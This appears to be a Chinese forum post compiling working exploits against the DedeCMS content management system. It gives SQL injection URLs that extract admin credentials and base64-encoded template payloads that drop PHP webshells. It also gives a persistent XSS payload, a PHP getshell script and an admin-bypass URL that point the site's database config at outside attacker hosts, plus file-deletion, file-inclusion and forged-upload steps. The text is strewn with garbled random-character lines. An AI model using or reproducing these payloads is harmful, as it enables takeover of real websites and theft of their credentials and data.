|
|
- ?8 I# e, G1 T- Z1 I
Dedecms 5.6 rss注入漏洞
' C; L6 u! I: n+ G8 h( Y( i, bhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=15 A5 _/ o+ P$ \2 B; m
" C8 l. w: t# r$ H, `, T7 a0 ^1 Z0 k3 s0 C' v# ~( {3 C) i
; B L" z7 a9 b
H3 Y+ y2 M, l* S3 k: j2 g+ B5 a8 V0 r0 @) Q/ J* X! L; B
, d. j0 g, f" I& f
' L1 a: x. x7 S% j% f P5 B# t- w: \. X( h. _* P
DedeCms v5.6 嵌入恶意代码执行漏洞
0 m3 {# Z) @3 M' K2 T9 |5 p注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}- p: k3 B! L7 h: T# W, G
发表后查看或修改即可执行
' K) N& }0 D# k/ ya{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}: k0 c' Z" L, i7 Z8 u5 m; x- k
生成x.php 密码xiao,直接生成一句话。! `9 B7 W& ~( \8 v& r
7 H* |6 v# A* j6 @
/ w7 ^2 a6 L$ ^4 c8 h4 c
* f0 [% c. Y! Z& p' D
6 Z9 Y" _5 V! B# h2 Y; }( H, R: D, A; O6 @- y, E: x) f( |
& D4 R5 l) d* ^" ^- q- K- ]+ M9 ~! E
5 q6 n4 ?: _; P' R' E8 LDede 5.6 GBK SQL注入漏洞
]& o' ^% y& ]& p! F" g- mhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';: A5 W ^. A! B
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
* D# Q, G) Z. a& A; C2 L0 nhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7. H# M: X S1 }1 [9 w* J6 C
* H5 i2 N$ Z7 |% {) Z: S! u
" H' h9 Y: \& |0 T; P2 N, l+ C
: V& ?6 x' A/ q- i
# @ k! Q L9 J
9 x2 z; n" o( d( e$ W9 @( [! M* ~/ P# F% r; h$ k
2 t5 @) T$ R4 f4 n& J! i
$ j# M3 [# F1 b( p y$ W5 B& O- k) ]4 hDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞$ m- Q/ s: q- E. n$ y8 Y V* {4 N
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin` 6 g& M7 M9 X- n" A
& } x/ j" P1 ~5 U" P# d9 H+ H
/ r/ b4 j3 X6 d$ |, }( U F, G" V& s; R; A K+ i. Q. M
2 _5 N) m. S; P! D7 Q ~
" ?) _/ \; v% P' ^. L2 v0 ]1 _( }
; ^/ Z$ y- R6 V9 DDEDECMS 全版本 gotopage变量XSS漏洞' X" _+ v% w& i7 ~
1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。
# F( V0 v, g2 n+ t# M( j+ V7 Zhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="6 e0 T2 I% O/ e4 D' `0 K( m O
& N! U( M4 Q& D0 z9 s: @- \+ f) |+ |; F' `8 [( h( q1 z9 {
2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。 * B& f, \9 ^8 Z
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda6 E4 X2 ?- I, i$ w
: i x( U& z2 e5 X2 m: p, u- l
& p5 q6 ^3 C) o, u$ G5 L f' B
http://v57.demo.dedecms.com/dede/login.php
( L1 i ~9 S" Y6 V+ }
. o5 s$ X/ J/ [8 _9 A4 W% ?! W9 x/ N" M% Q5 U0 l, E
color=Red]DeDeCMS(织梦)变量覆盖getshell
; t8 I! A& b( |- a7 L5 ^1 V#!usr/bin/php -w
4 w) R+ u% F3 n: L0 O l, u<?php% Q5 t2 l9 W* o
error_reporting(E_ERROR);1 j/ {9 w$ E0 W3 P
set_time_limit(0);
1 u% c2 @1 F+ g8 O2 O% {: Oprint_r('
7 F& _) Y" F" u6 o/ UDEDEcms Variable Coverage
! d) s G3 A' Q. ?6 n/ cExploit Author: www.heixiaozi.comwww.webvul.com
& k7 {0 ~5 ^! c/ \: ]);* E; S* B9 l. K" Q" u- K# [; n' ^
echo "\r\n";
( z5 e' A( L+ |& U0 Nif($argv[2]==null){
T# N. w. W! _9 m. j \& Wprint_r('
# R+ |4 l/ {/ q; D. ]6 {+---------------------------------------------------------------------------+
8 r2 A, @3 E) {Usage: php '.$argv[0].' url aid path% ?5 n# |- K0 V, d1 E# M3 q
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/1 n/ ]( X! K# N
Example:
) g# }% z' X: L$ N; \( [3 q& kphp '.$argv[0].' www.site.com 1 old
, G( T$ ^+ K- F& y% @! @; d5 L+---------------------------------------------------------------------------+
/ t3 [# e( H5 G9 y) T1 [');
* P1 H6 Q, H' w# X, V5 Oexit;- m8 ?( a/ ~2 D* Q# a3 ]) v
}0 r2 ^+ q% g$ t5 G2 u& h0 K0 z* W
$url=$argv[1];
/ r' q+ F9 U$ t4 t$aid=$argv[2];
* S0 I( W( W" O, x$path=$argv[3];
a$ A# _" a0 F% z$exp=Getshell($url,$aid,$path);
! C1 P" W/ m7 F1 Iif (strpos($exp,"OK")>12){" K: p2 P. c/ U4 ~4 T, l
echo "3 R5 f, C. [7 R" i
Exploit Success \n";
9 P5 Z; B2 h; ?' l0 Lif($aid==1)echo "
. u1 ~+ O" U8 R. D4 b& _7 w/ ZShell:".$url."/$path/data/cache/fuck.php\n" ;5 P- x- e6 X P _& D5 p" t( p
2 `3 J, i. f9 ^/ p0 {# k$ K# p/ z- D- P2 J/ d% z& h7 d
if($aid==2)echo "
) m# Q$ |; w! M/ A: V. UShell:".$url."/$path/fuck.php\n" ;
8 G; l& t6 ]- z2 e( d% \3 ? k, x5 H F. ^* @3 z. z3 q2 a
! _/ J' ~1 f/ Q1 ~% y( y0 V
if($aid==3)echo ". M; f2 ?. j6 l: k
Shell:".$url."/$path/plus/fuck.php\n";+ @- x7 k" r3 L" P V
]6 N! M, r+ T$ W! w( a0 s( s$ L
( u8 F4 b, `- F7 g* x+ m2 g% _* q
}else{4 A' K/ M& F1 V- L
echo "
% V; h# }5 d, f, @* j2 q! C. I& ?Exploit Failed \n";
/ F9 g( X: N/ y}1 U7 t+ k1 H# k/ u
function Getshell($url,$aid,$path){6 L, W R3 I: N! U0 n& o" G5 v1 R
$id=$aid;# Y+ e, ^6 b9 ^
$host=$url;
/ o$ A( Q" Q. G0 X* c6 e$port="80";
; _' H" o1 u, y9 y$ t$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
% m' e# j' b+ M0 |$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
- M0 S i+ ^/ e! |) A$ N6 I, X9 p$data .= "Host: ".$host."\r\n";& N! s! J5 ?1 G' C6 i9 k
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";' X T5 T3 M, K$ m* l% m4 h
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
- v8 G+ I5 \8 N4 ^& x, t% o1 d$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";3 Z5 U, W' D& A# W D
//$data .= "Accept-Encoding: gzip,deflate\r\n";
% V$ v3 b: r# X. B% P$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";0 t5 o7 I; S/ K' ^3 G# k
$data .= "Connection: keep-alive\r\n";4 ]0 h5 \6 {2 H
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
" L0 o" y- |3 n; ?* l$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
( i; u0 {. ?0 e$data .= $content."\r\n";$ {6 }7 w# B, ]2 T# H3 v
$ock=fsockopen($host,$port);
2 R, C) H" q. P8 S8 G+ I4 y+ Wif (!$ock) {7 `# X6 v) m9 W$ U- k2 D
echo "" ^5 f9 D; H! o( ?/ {8 J# n: ^! u
No response from ".$host."\n";" ?( @5 j' I1 {
}6 [. s2 n& S/ g, E4 M. e
fwrite($ock,$data);! r Y: g# F- b3 A: n
while (!feof($ock)) {0 C3 s! H' Y4 E3 y# F1 _
$exp=fgets($ock, 1024);+ W4 R3 }0 C* w
return $exp;
2 O+ l; U& ^% p1 n/ A& M; R1 G O; m}" G3 u' M& s; f/ K4 x
}, d: m$ {% D7 q" k! {, X+ D
6 o& s6 l- C S
8 u& t$ W- s0 K% \% X" |5 q; Y?>
! J+ J( W- r5 r1 c# ~9 ^3 l! P# h# d
% s; J2 n$ \0 N. l# j% w9 {
+ Z/ G2 h f' s, F _! c
( `4 C+ P0 i( M, G4 m+ s, Q
3 X( {% r {& q& @- r9 G" Z( U6 B* q h l5 t
3 k( ^& n' ? U4 O: q$ e
( r& c% a$ N" o, T. p, L
' x* t7 P+ Y4 ^+ K% k) z3 O+ V
. @; g& p: B$ V* w& J
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
. A7 R8 e4 {( \( Hhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
& ]! s8 \9 M. Y3 W6 s/ Z3 T
4 E5 ~! a7 G* r! W/ ?5 g7 k# W1 P9 H0 j1 @1 d0 I5 A
把上面validate=dcug改为当前的验证码,即可直接进入网站后台
9 A u5 a- @8 X4 k; A) v. z2 Y5 u0 u+ \2 d% L9 i8 ^
& I8 P% a( j; J, i/ n2 C% q8 }- C
此漏洞的前提是必须得到后台路径才能实现: o; v7 v* l K8 i+ R2 B
' W2 `" H2 {8 F2 ?- ]
, ^5 o& Q( `5 ]/ z6 k) {3 e# [$ C7 M, X% e4 n2 L" v, }: W2 F& r
. I) J* {1 _" ~* C7 w
1 S1 W: j1 C- O$ q7 c. M- k
& O% S, d& g( l2 O4 g
% x6 Y( M& Z4 P+ X4 w4 O) [* H
% M8 k1 x% S$ a: z2 h' U* K- c
* s0 j+ b- @6 w2 m+ T" h% m3 c% {, ]; M, G& O
Dedecms织梦 标签远程文件写入漏洞
1 I/ f& B7 v9 ^: U: H前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
' i. J. d$ I- B" C; j7 H& `9 d* f- r3 V X1 i
1 T `8 X+ ?' ?+ X& g再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
! b% t" P/ R4 | y J0 c; b6 }<form action="" method="post" name="QuickSearch" id="QuickSearch">
- B# {6 h Y) }+ L9 M<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />8 P. K1 L" V( \' y% h
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />5 c% \) j$ `* h P6 d: B" I
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
3 g. j, I& X& q4 ~<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />) x( e; _5 U0 P% q
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />6 _: B9 s: H. v6 V
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />: {& _+ ^' C( o- B
<input type="text" value="true" name="nocache" style="width:400">. T5 F: J8 C8 g h
<input type="submit" value="提交" name="QuickSearchBtn"><br />
8 b" p4 m; U3 ~5 m9 O</form>+ l) K) U0 e' f3 k
<script>
2 Q2 R. Q! k$ Z/ Wfunction addaction()
( w+ v( x% U5 m, v{
5 Y! B: J1 O+ Q0 Adocument.QuickSearch.action=document.QuickSearch.doaction.value;
# ~" P8 h1 r) K: j8 L+ h}8 H+ {+ U' ^ N: q5 _. A/ g& Q: y4 z9 @
</script>
* T$ V* |" |" }2 `; r2 T, D: H
& }7 n8 y1 E! p" G3 ]6 f8 W; y$ A1 O
9 l$ A/ O9 H! [' N1 R5 x$ }
0 E, h$ e) R* ~
1 W& ?4 l+ j7 \& ]+ X( f0 q4 }) R1 m2 P9 Y, p( }1 _) j
6 L7 n; V3 @5 `. J3 `. y* \+ d; Y
$ R' m6 V! q+ \1 T$ X3 y+ W
: U- v4 o6 E8 f8 I" r; C* |8 n" B0 {7 x9 }1 U
DedeCms v5.6 嵌入恶意代码执行漏洞
: ^$ y- p) Q J8 |8 ?! m; U7 `: x注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行1 W, O8 B2 k. j, [6 B
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
+ j* v: ^# d( a; E3 ]: b5 Y/ F% P生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得
; C" f& ` ~1 Q* C1 RDedecms <= V5.6 Final模板执行漏洞: [! W% u% C2 Q
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:3 C$ A( I% R9 T; b% e
uploads/userup/2/12OMX04-15A.jpg
9 S$ w, c, [5 k
# Q" s3 p6 `1 Z
* d1 a% e* B* z" M- d2 _4 A: M模板内容是(如果限制图片格式,加gif89a):. J0 W. O5 M/ p T: n* L& @
{dede:name runphp='yes'}
$ g) i% _' N& w5 q, \: a1 g$fp = @fopen("1.php", 'a');
' O* U5 V- ?4 Y@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
7 a0 W$ v' A: s% Q@fclose($fp);$ z- a5 V2 r; s' F4 q+ \
{/dede:name}5 e/ b; f4 n" \
2 修改刚刚发表的文章,查看源文件,构造一个表单:
1 g' V6 _; F1 z3 n* f% J5 q<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
9 r- m: D1 ?. w$ }- C<input type="hidden" name="dopost" value="save" />
( @3 Q& `* f$ D w9 R, u<input type="hidden" name="aid" value="2" />7 C$ P N4 n: L
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
$ V g5 |8 n2 e* _8 N9 w; e9 p) d<input type="hidden" name="channelid" value="1" />) l( E. [( J+ ^7 i; O
<input type="hidden" name="oldlitpic" value="" />
3 z+ i! u6 h# t' Q% R0 Z4 { s: w<input type="hidden" name="sortrank" value="1275972263" />! Y5 P4 \; {6 i* Z+ ]5 Z
# s) O4 d* G% f8 q$ w5 [$ [3 A) A3 ?
<div id="mainCp">8 J& Z! A# {" G( ~5 w* k
<h3 class="meTitle"><strong>修改文章</strong></h3> D# i I8 k9 ^8 n; m
0 A0 N/ J- L6 @* a+ |
y0 o6 S5 o( E# v- _/ F# `
<div class="postForm">
7 h d9 ^" U% Z! _' A<label>标题:</label>( K3 ^. [/ J- k( m
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
3 h- K8 H" s r6 ^
. V9 g& i2 O+ g. W+ _8 V9 L
6 Y1 j/ L* { Y<label>标签TAG:</label>- E' e Q. B6 s, `
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
; k8 i9 A, l5 T1 T3 k s
& L4 M4 c) R! a- U7 F" @0 x c% d. n4 C8 B
<label>作者:</label>& e6 s* B8 s& F& u
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/> |# L2 _4 P& y3 b
) [$ O* P9 ^; R. t! c4 O& ~# h! F6 R$ u) b. S5 T. ^4 B6 X
<label>隶属栏目:</label>6 v* r3 p2 ~/ d
<select name='typeid' size='1'>
5 M; M4 u" R6 s' l<option value='1' class='option3' selected=''>测试栏目</option>. g+ k7 u- \3 n1 }
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
' z4 }/ v: |. I6 P+ i3 O, Y
. w* ?* y4 [8 b( V& }4 x) p% ?7 G' P! l1 Y6 q* B2 b8 I
<label>我的分类:</label>. k* x5 d& s' a
<select name='mtypesid' size='1'>
4 l6 K( C5 v6 O- b<option value='0' selected>请选择分类...</option>0 ~ ?" [, f6 c
<option value='1' class='option3' selected>hahahha</option>
0 M* B' k4 @0 W" T$ U0 w5 k</select>
2 o& u# f# N7 y+ B, S: ]. J! b5 q
6 {# u+ ~5 H) I( q
<label>信息摘要:</label>
@; g0 |( u+ W5 Z<textarea name="description" id="description">1111111</textarea>
7 L6 m! ^. t0 G3 g(内容的简要说明)" H( I8 L0 w4 }
3 m) q; b* \2 Q( `
' W$ Z$ ], W4 ]; _* g9 O& k; O<label>缩略图:</label>" J' `# M/ ?/ w5 r9 X$ h4 _
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>4 ?" N b9 }) c% S
* F& z1 Q: M( h( C/ C8 b
5 T# S9 v3 u8 y6 t0 [
<input type='text' name='templet'
( o$ G: k7 `+ {! J# U- r4 ^: wvalue="../ uploads/userup/2/12OMX04-15A.jpg">
; P% R' A o- Y8 h3 r ]) ~<input type='text' name='dede_addonfields'
+ W9 r( U3 z! ]7 i: o6 B4 C# ]value="templet,htmltext;">(这里构造)
6 i: L5 a T& s# k3 {$ K</div>
1 Y% R/ q' z- w* ^3 f$ ?4 d. Q
1 ~1 H" o6 @% f5 ^) x1 O
. }# x) `) b% K# P<!-- 表单操作区域 -->
3 e0 U) G, R3 T7 M p% l<h3 class="meTitle">详细内容</h3>
' F4 f; q* P7 h6 z9 {
7 z; E4 }+ ]2 H( N' @# U
+ T2 g. V+ t% _1 V% s+ D( K<div class="contentShow postForm">
# E8 g7 d9 @1 ^: n1 @, n<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>& [, e5 E. @, m) @% }$ w! t
- ]- E. ^. Q$ _8 s& ]+ J* n
! J. t9 H: J% N# m* i0 q! I<label>验证码:</label>
1 Z, y( A; g& N' D$ ^! G, J* G<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' /># [2 X9 X6 E0 N/ p$ k( I4 x, [! o
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
9 P- ~' ?2 Q6 k) N7 |6 m! F' q5 N
2 B/ _: D" W) |
<button class="button2" type="submit">提交</button>+ \& a' H7 y7 @, \
<button class="button2 ml10" type="reset">重置</button>
* Z6 s" G, J/ D9 \1 q( j& n</div>; I3 m# r6 Z; b( M& m3 a* T
( |- d! p4 q5 v1 v9 h* T6 Q9 {. P) ]! z3 e2 i% @8 X7 u7 \. j
</div>* R1 G% a, P6 |& b/ k" a
4 W9 A8 P. n. h/ ]- K) z" n
: Z: a8 H8 B( N</form>
. ]3 e& N U& `5 u8 T/ S. B7 E+ z: g$ C6 _
0 V2 u9 g) m* C/ Y- v5 L( v& U
提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:
) n5 _, y3 }; r3 l) e$ u& v假设刚刚修改的文章的aid为2,则我们只需要访问:# H3 S6 y7 n: T4 q: n* Z4 h
http://127.0.0.1/dede/plus/view.php?aid=2% b, [) E9 e* I
即可以在plus目录下生成webshell:1.php: E7 d- ~6 J4 y2 \' N: ^
0 ~ R6 _. i6 Q, K: ]
; p7 y8 k( B6 Y/ R3 ^* z4 X/ f/ s: X1 {0 A0 X
& r/ n- e9 P, }
$ n, v1 n# A% h9 Z6 T( D9 ]) w9 E
" C/ y6 [6 F, L+ ]0 F, ?. y/ A
1 w& b* x; P% B0 w
( ^* }5 ^# v; x, y, J, E
; P. t/ A" y& G% T( U- W
8 H/ Y8 b& ]5 r3 ^ X. Y* O; I5 L, P T9 D2 m
0 P. z1 o) T! q& a, JDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
6 O8 P! J/ O/ q5 SGif89a{dede:field name='toby57' runphp='yes'}6 P8 S& R: ]8 y- w7 g j7 ?% ?
phpinfo();5 l/ A3 R1 O8 [5 e7 F, l
{/dede:field}. E0 o$ _8 m2 R, x4 H3 r
保存为1.gif4 x7 e1 L/ P0 h6 [0 Q" [) d8 @/ s
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> 8 I. R) x3 C3 ~. Y3 g% l
<input type="hidden" name="aid" value="7" />
5 I: F) ~+ ]' m! Z9 i5 }, Z: u<input type="hidden" name="mediatype" value="1" />
. [& G2 W7 l8 a' Q<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br> " y* V! l' v. K8 O( q, e
<input type="hidden" name="dopost" value="save" />
g+ Y4 l; y. _0 i6 }, h) w<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
* q4 {0 O* ?1 N& F1 i* F<input name="addonfile" type="file" id="addonfile"/> ' b! i: {9 T2 G0 r! m1 ]" e3 O
<button class="button2" type="submit" >更改</button>
& ]& M/ N1 R( K: I* B+ ?* a</form> ( J: B* g/ l3 p
) @; b. s f( D' [ {4 ^# y& ?7 p& x8 r9 W% \
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
2 @% g. p; O% b8 S! G发表文章,然后构造修改表单如下:5 c% i Z3 j1 D$ s- O4 s' G* p+ N I$ E
/ W5 n# `4 W. b7 z1 X8 B7 m
3 m8 v2 U5 y3 \" E- f
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> ' ]( T2 j2 V0 A
<input type="hidden" name="dopost" value="save" />
. ^2 O' D9 N5 x( [3 u3 B7 k<input type="hidden" name="aid" value="2" /> " {' `3 M% N+ V; w9 g9 y3 C
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
3 p; E" ]# y/ V- j: T6 G<input type="hidden" name="channelid" value="1" />
6 [$ ~# {( [9 ~4 O0 _% H<input type="hidden" name="oldlitpic" value="" />
9 }1 x* B; u; d<input type="hidden" name="sortrank" value="1282049150" /> ! a1 O& J# z0 q. h S, Q- T
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/> ! C5 T8 D3 q/ a
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
4 @4 v A+ m- I* i8 N) g, U<select name='typeid' size='1'>
$ M# k7 @% ^$ M2 c4 r. n3 B7 a, d<option value='1' class='option3' selected=''>Test</option>
: u$ h$ w0 s' N: J! d<select name='mtypesid' size='1'> & Q, V% K: }4 J* J7 h4 z6 r
<option value='0' selected>请选择分类...</option>
6 i) \" v* [3 s. E5 t<option value='1' class='option3' selected>aa</option></select> ) T6 w: J! N$ ~! C+ y8 N
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
/ H9 g' W) | L) \<input type='hidden' name='dede_addonfields' value="templet">
) y8 O% W6 A8 h% z! I<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
9 g$ K: ?) O$ S<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 0 r* F3 U5 e" T
<button class="button2" type="submit">提交</button>
; M* @ a, X" n6 e</form>
' M" d8 J. L3 o! \9 D5 J! ~+ a2 _4 f* j$ g: E ]; P% n
: z+ j/ ` R% _9 z7 }8 G# C. B
8 K1 P( B' I; `8 i- ]( D0 j9 N/ F0 R
# S# E8 [% k* W; w) H4 v& N$ e; u, T5 b3 B3 n) @1 I4 l
/ x5 Z( i Z, G4 ?( x6 |# Y
5 w, h7 l J& r, A2 b
6 b0 S' N' d) q$ V
' m- d4 @+ [4 B( C: ^. b9 ~
! x! g, e r& z0 m, O/ q& C$ Q. m8 y& `: w
4 ^% V5 L" B' |/ E# Z
织梦(Dedecms)V5.6 远程文件删除漏洞. o% p& C4 B/ X' _6 } D4 b
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif. m: T2 m" S6 Q1 Z: X) R
' m" M, W; @3 M( P7 K0 C3 H, ~6 x: z% @+ U. x. G9 [2 V- z1 B
7 x3 g- l3 D! V5 Z& v
0 F/ Z. F9 B" @2 ?: u2 v- I I$ @
$ \7 w1 A3 i o- j+ p3 C# H, x( F3 Y
& m1 K8 _6 U3 V- m% }
: V, Q: I y& C% x ^ T: _
8 Q5 ~1 I4 `& X8 z
; l3 t2 T' f2 Y3 u$ w0 |, t$ s% E/ I g- Q- P) G
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞 . W. ?" _) y7 l) H$ G
http://www.test.com/plus/carbuya ... urn&code=../../
+ S# M1 c2 U, Q7 F" E! h* A- [: l2 ] z+ G, a
: \. C" P: @7 b4 w) o! n! {
0 H0 v) q. r- m. K# x9 W8 M# N& I9 c
( n- p7 S1 c5 Q- m# @) k* {' }/ X/ C, e9 o6 M3 a6 p
. I+ s3 }- P, s& n" V$ n
y4 R* C! f6 H% _" ?( ]' G0 ]- B! b+ m% s. L; D) l# p, N
$ z$ `) Z- D5 k6 E% `+ K- lDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
8 h& T& t' H, W- ?! o- dplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`, w& S5 y- `1 k$ ~
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5 M4 d! u! D4 |" r, j# p; X9 M$ l
, L) E. x4 o6 |9 E0 R3 |+ Z: |* J3 K/ S6 m I
R( Y3 [6 d3 _6 f
3 O* [# J1 C7 v C' m
+ c: i, l0 Q; k) \" S# ~* p' I
8 X- N& N' ^2 H5 M8 \ _
2 K$ \" r; p- j; c
) E o/ Y* P* x& J# D0 M1 ^6 X: Z1 i
& o9 R3 _1 R9 w6 ~& a9 M! [3 \7 K7 o! o3 G
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
- h- B# D! v: w, q8 @http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='( u, J/ ?! M( \; R* l! M4 {. {- ?/ q9 j
! R9 `2 j/ |! Q$ r
# g- E, x- u4 K& G: j1 d1 C' u+ g9 u; v
8 D: o2 l4 H" D$ r5 k
8 v1 \% B+ y5 s8 }6 J3 X! z
! g5 J5 C, W1 t8 o' D2 ^, i. _
6 I- m8 d4 {, S0 r2 M2 M+ l# t2 Q
" d$ {8 ?0 G: Z' i
J! q# `* H% X3 R) _2 c5 \8 n- L3 b/ l- v
